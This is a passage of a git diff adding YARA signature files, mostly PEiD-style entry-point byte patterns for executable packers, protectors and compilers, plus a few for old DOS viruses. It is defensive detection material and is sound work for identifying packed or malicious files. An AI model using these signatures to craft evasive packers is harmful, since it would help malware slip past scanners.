+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_XPEH4768_
+{
+	meta:
+		description = "Vx: XPEH.4768"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+		$1 = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crypta_II_30_
+{
+	meta:
+		description = "Crypta II 3.0"
+	strings:
+		$0 = {26 83 36 53 A3 00 3B C4 5B 53 52 BA EB 04 5A EB FB 79 B9 37 00 81 F1 C1 11 51 B9 EB 04 59 EB FB 09 81 F1 C1 11 2E 80 37 80 43 E2 F9 3A D5 1E F7 C1 6A 4A F9 72 01 09 8E D9 90 53 BB EB 04 5B EB FB 09 F7 16 07 00 F7 C1 13 FE 52 BA EB 05 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V07__cyberbob__20080312_
+{
+	meta:
+		description = "PESpin V0.7 -> cyberbob * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB FF 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? EB 01 ?? 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? EB FB ?? 83 04 24 0C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ACME_Clonewar_Mutant_
+{
+	meta:
+		description = "Vx: ACME (Clonewar Mutant)"
+	strings:
+		$0 = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+		$1 = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_v500d_
+{
+	meta:
+		description = "PC-Guard v5.00d"
+	strings:
+		$0 = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+		$1 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PluginToExe_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF}
+		$1 = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V22008618__WFS____20080626_
+{
+	meta:
+		description = "EncryptPE V2.2008.6.18 -> WFS   * 20080626"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 43 72 65 61 74 65 46 69 6C 65 41 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 32 32 30 30 38 30 36 31 38 2E 45 50 45 00 00 00 45 6E 63 72 79 70 74 50 45 5F 49 6E 69 74 00}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_com_
+{
+	meta:
+		description = "aPack v0.98b (com)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _KenPack_V02__CHKenCom__20080319_
+{
+	meta:
+		description = "KenPack V0.2 -> CHKen.Com * 20080319"
+	strings:
+		$0 = {6A 18 E8 14 00 00 00 58 8D 4A 18 51 8D 92 ?? ?? ?? ?? 64 8B 08 FF 31 89 21 89 10 5A FF E2 72 8B 44 24 0C 8B ?? A8 00 00 00 8D 8A ?? ?? ?? ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_120_EXE_
+{
+	meta:
+		description = "EPW 1.20 [EXE]"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 05 10 00 2E A3 0A 00 8E D8 A1 08 00 2E 03 06 0A 00 2E A3 0C 00 A1 0E 00 2E 03 06 0A 00 2E A3 06 00 A1 10 00 2E A3 04 00 A1 14 00 2E A3 00 00 A1 16 00 2E 03 06 0A 00 2E A3 02 00 0E 1F BA 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Immun_12_EXE_
+{
+	meta:
+		description = "Immun 1.2 [EXE]"
+	strings:
+		$0 = {50 53 51 52 56 57 1E 06 2E 8B 0E FE 08 E3 1E 1E 06 D1 E1 8C C8 8E D8 8E C0 BE 00 09 BF 98 09 8B D1 4A D1 E2 03 F2 03 FA FD F3 A5 07 1F B4 30 CD 21 2E A2 63 01 3C 03 72 54 1E 33 C0 8E D8 80 3E FD 04 49 C6 06 FD 04 00 1F 74 42 8E 1E 2C 00 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Borland_Delphi_6070__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Borland Delphi 6.0-7.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 8B D8 33 C0 A3 00 00 00 00 6A 00 E8 00 00 00 FF A3 00 00 00 00 A1 00 00 00 00 A3 00 00 00 00 33 C0 A3}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 8B D8 33 C0 A3 00 00 00 00 6A 00 E8 00 00 00 FF A3 00 00 00 00 A1 00 00 00 00 A3 00 00 00 00 33 C0 A3 00 00 00 00 33 C0 A3 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50__v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0 - v6.0"
+	strings:
+		$0 = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+		$1 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Wind_of_Crypt_10__by_DarkPressure_
+{
+	meta:
+		description = "Wind of Crypt 1.0 - by DarkPressure"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+		$1 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+		$2 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _VProtect_v1x__ASL_
+{
+	meta:
+		description = "VProtect v.1.x - ASL"
+	strings:
+		$0 = {3B C0 74 1C EB 00 DB 2D ?? ?? ?? 00 FF FF FF FF FF FF FF FF 3D 40 FF 56 50 72 6F 74 65 63 74 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
diff --git a/yara-mikesxrs/unknown/userdb_jclausing.yara b/yara-mikesxrs/unknown/userdb_jclausing.yara
new file mode 100644
index 0000000..8f99f36
--- /dev/null
+++ b/yara-mikesxrs/unknown/userdb_jclausing.yara
@@ -0,0 +1,22520 @@
+rule _Nullsoft_Install_System_v20_
+{
+	meta:
+		description = "Nullsoft Install System v2.0"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+	condition:
+		$0
+}
+rule __22b_Anti__xiaohui_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 2.2b Anti -> xiaohui"
+	strings:
+		$0 = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+	condition:
+		$0 at entrypoint
+}
+rule _SCRAM_v08a1_
+{
+	meta:
+		description = "SCRAM! v0.8a1"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Keypress1212_
+{
+	meta:
+		description = "Vx: Keypress.1212"
+	strings:
+		$0 = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+	condition:
+		$0 at entrypoint
+}
+rule _E2C_by_DoP_
+{
+	meta:
+		description = "E2C by DoP"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_WinFax_PRO_75_Coverpage_
+{
+	meta:
+		description = "Symantec WinFax PRO 7.5 Coverpage"
+	strings:
+		$0 = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 80}
+	condition:
+		$0
+}
+rule _MSLRH_v032a__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a -> emadicius (h)"
+	strings:
+		$0 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+		$1 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+	condition:
+		$0 or $1
+}
+rule _Excalibur_V103__forgot__Sign_by_fly_
+{
+	meta:
+		description = "Excalibur V1.03 -> forgot ! Sign by fly"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+	condition:
+		$0 at entrypoint
+}
+rule _LaunchAnywhere_v4001_
+{
+	meta:
+		description = "LaunchAnywhere v4.0.0.1"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09781_
+{
+	meta:
+		description = "PECompact v0.978.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+	condition:
+		$0 at entrypoint
+}
+rule _bambam_V004__bedrock_
+{
+	meta:
+		description = "bambam V0.04 -> bedrock"
+	strings:
+		$0 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v01__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v0.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v134__v140b1_
+{
+	meta:
+		description = "PECompact v1.34 - v1.40b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_aPlib_043__ap0xnbsp_nbsp_Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 Dll (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_WWPack32_1x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake WWPack32 1.x) -> emadicius"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52}
+	condition:
+		$0
+}
+rule _PECompact_v14xp_
+{
+	meta:
+		description = "PECompact v1.4x+"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0
+}
+rule _VcasmProtector_10e__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0e -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRS_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRS]"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+		$1 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VisualUPX_02__emadicius_
+{
+	meta:
+		description = "VisualUPX 0.2 -> emadicius"
+	strings:
+		$0 = {66 C7 05 ?? ?? ?? 00 75 07 E9 ?? FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_1994_
+{
+	meta:
+		description = "Borland C++ 1994"
+	strings:
+		$0 = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftWrap_
+{
+	meta:
+		description = "SoftWrap"
+	strings:
+		$0 = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PEtite_2x_level_0_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEtite 2.x (level 0)]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _SLR_OPTLINK_
+{
+	meta:
